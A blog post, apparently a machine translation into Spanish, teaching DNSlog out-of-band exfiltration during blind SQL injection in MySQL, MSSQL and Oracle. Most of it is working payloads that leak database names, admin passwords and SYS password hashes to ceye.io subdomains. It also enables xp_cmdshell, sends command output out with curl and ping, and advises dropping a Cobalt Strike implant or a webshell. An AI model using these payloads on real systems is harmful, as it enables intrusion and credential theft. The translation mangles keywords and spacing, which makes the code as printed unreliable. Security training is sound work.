Aplicación de dnslog en inyección ciega de SQL

Inyección 0x01 utilizando el principio dnslog 

 Como se muestra en la figura, como atacante, envíe una declaración de inyección y deje que la base de datos concatene el valor que se va a consultar con el nombre de dominio, y luego se produce una consulta DNS. Mientras podamos obtener el registro DNS, obtenemos el valor deseado. Por lo tanto, necesitamos tener nuestro propio nombre de dominio, y luego configurar un registro NS en el distribuidor de nombres de dominio, y luego podemos obtener registros DNS en el servidor NS.

Plataforma de servidor DNS gratuita:

http: // ceye.io/ 
http: // dnslog.cn/

0x02 bajo qué escenarios se utiliza dnslog

  1. Inyección a ciegas en inyección SQL
  2. Ejecución de comando sin eco
  3. SSRF sin eco

La comprensión simple es que en algunos casos donde la vulnerabilidad no se puede usar directamente para obtener el eco, pero el objetivo puede iniciar una solicitud de DNS, esta vez puede extraer los datos que desee de esta manera.

 Aplicación de 0x03 en inyección ciega mysql

La función load_file se usa principalmente en mysql. Se usa para leer el archivo en mysql y devolver el contenido del archivo como una cadena. De hecho, también se puede usar para enviar solicitudes dns.

Y debe tenerse en cuenta que la función load_file no se puede utilizar para realizar ataques dnslog en Linux.

Para usar esta función, se deben cumplir las siguientes condiciones: (1). La lectura del archivo debe estar en el servidor y se debe especificar la ruta absoluta del archivo (2). El usuario que se conecta a la base de datos actual debe tener permiso de ARCHIVO (3). El contenido del archivo debe ser menor que max_allowed_packet.

Carga útil utilizada:

? id = 1 ' union select load_file (concat ( ' \\\\\\\\ ' , (select database ()), ' .xxxx.ceye.io \\ abc ' )) - + 
? id = 1 ' y if ((select load_file (concat ( ' \\\\ ' , (select database ()), ' .XXXXX.ceye.io \\ abc ' ))), 1,1) - + 
database () es para Dónde hacer la consulta de inyección SQL

A la plataforma ceye.io se le asignará un nombre de dominio de segundo nivel después del registro. Aquí unimos la declaración de consulta al nombre de dominio de tercer nivel. Después de la resolución dns, el nombre de dominio de resolución se registrará en la plataforma. Cada nombre de dominio de tercer nivel registrado mostrará nuestra declaración SQL. El resultado de la consulta. Por ejemplo, aquí el nombre de dominio de tercer nivel será la base de datos de consultas. Usar dnslog para que los resultados de la consulta se muestren completamente es mucho más rápido que la consulta de inyección directa ciega.

Al consultar una tabla o campo, debe agregar un límite para limitar la salida. Cada consulta corresponde a un registro DNS, es decir, un nombre de dominio de tercer nivel, un resultado de consulta, por lo que la salida del límite límite es 1.

Aquí hay un ejemplo del octavo nivel de inyección ciega de sqli-labs, practique la inyección de dnslog:

Ver la base de datos actual:

http: // 127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27 \\\\% 27, (seleccione% 20database ()) ,% 27.xxx.ceye.io \\ abc% 27))), 1,1) - +

 Puedes ver que la base de datos actual es seguridad

Para obtener el usuario actual, debe hechizar la función user (), hexadecimal (user ())

 Luego descomprima el carácter hexadecimal y decodifíquelo aquí como: root @ localhost

Las operaciones posteriores son similares a las anteriores. Aquí el resultado de ejecución de la función load_file es nulo y problemático, primero debe resolver las tres condiciones que deben cumplirse para usar esta función.

Aplicación 0x04 en mssql

Se necesita una inyección de pila, se puede usar; ejecutar comandos sql uno por uno, poc:

http: // 127.0.0.1/mssql.php?id=1; 
DECLARE @host varchar ( 1024 ); SELECT @ host = (SELECT master.dbo.fn_varbintohexstr (convert (varbinary, rtrim (pass))) 
FROM 库 名 .dbo.test_user donde [USER] = ' admin ' )% 2b ' . nk40ci.ceye.io ' ; 
EXEC ( ' master..xp_dirtree "\'% 2b @ host% 2b ' \ foobar $ " ');

Prueba de apilamiento:?id=1';WAITFOR DELAY '0:0:5'--

Obtener el usuario actual:

id = 2 ' ; declare @a char (128); set @ a = ' \\ ' % 2buser% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -

Obtenga el nombre de la biblioteca:

id = 2 ' ; declara @a char ( 128 ); set @ a = ' \\ ' % 2b ( seleccione el nombre del top 1 de master.dbo.sysdatabases)% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -

Utilice sqlmap para agotarlo. Si la base de datos tiene un permiso sa, puede abrir el componente xp_cmdshell para ejecutar el comando

开启 xp_cmdshell :
EXEC sp_configure ' mostrar opciones avanzadas ' , 1 ; RECONFIGURE; EXEC sp_configure ' xp_cmdshell ' , 1 ; RECONFIGURE;

El comando ejecuta la instrucción sql:

id = 2 '; exec master..xp_cmdshell ' whoami '-

En este caso, no hay ejecución de eco.

Con dnslog, devuelva el resultado de la ejecución del comando a la plataforma del servidor dns a través de la siguiente instrucción y verifique el registro http:

? id = 1 ' ; exec master..xp_cmdshell "para / F% s en ( ' whoami ' ) iniciar http://xxx.ceye.io/?%s"--

 

 

 Devuelva el resultado de visualización de la ejecución de whoami a la última variable de URL registrada http, el nombre de la variable es el resultado de visualización de ejecución del comando.

Dado que esta declaración abrirá el navegador predeterminado local, debe cerrar el navegador, si el valor predeterminado no es, es decir, simplemente mirarlo con la lista de tareas:

? id = 123 ' ; exec master..xp_cmdshell "taskkill / f / im iexplore.exe" -

De hecho, no necesitas saber el resultado del eco en el combate real, siempre que puedas ejecutar el comando, puedes descargar y ejecutar nuestro cs horse si puedes conectarte a la red externa, y luego conectarte directamente. O conozca la ruta absoluta para escribir webshell directamente.

Para el servidor Linux:

http rizo: // xxx.ceye.io / `whoami` ver http registrado en la plataforma y luego 
el ping -c 1 'whoami`.xxx.ceye.io Ver DNS registro en la plataforma 
requiere múltiples muestra los resultados de LS: 
para i en $ (ls /); do curl " http: //$i.xxx.ceye.io/ " ; hecho;

Herramienta de ejecución de comandos automatizada: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

Oráculo 0x05

SELECCIONE UTL_INADDR.GET_HOST_ADDRESS ( ' b182oj.ceye.io ' ); 
SELECCIONE UTL_HTTP.REQUEST ( ' http://b182oj.ceye.io/oracle ' ) DESDE DUAL; 
SELECCIONE HTTPURITYPE ( ' http://b182oj.ceye.io/oracle ' ) .GETCLOB () DESDE DUAL; 
SELECCIONE DBMS_LDAP.INIT (( ' oracle.b182oj.ceye.io ' , 80 ) DESDE DUAL; 
SELECCIONE DBMS_LDAP.INIT ((SELECCIONE la contraseña DE SYS.USER $ WHERE name = ' SYS ' ) || ' .b182oj.ceye.io ' , 80 ) DE DUAL;

 

Enlace de referencia: https://www.anquanke.com/post/id/98096#h3-5

Acerca de la automatización de scripts con dnslog: https://github.com/ADOOO/DnslogSqlinj

 

Supongo que te gusta

Origin www.cnblogs.com/-chenxs/p/12691437.html
Recomendado
Clasificación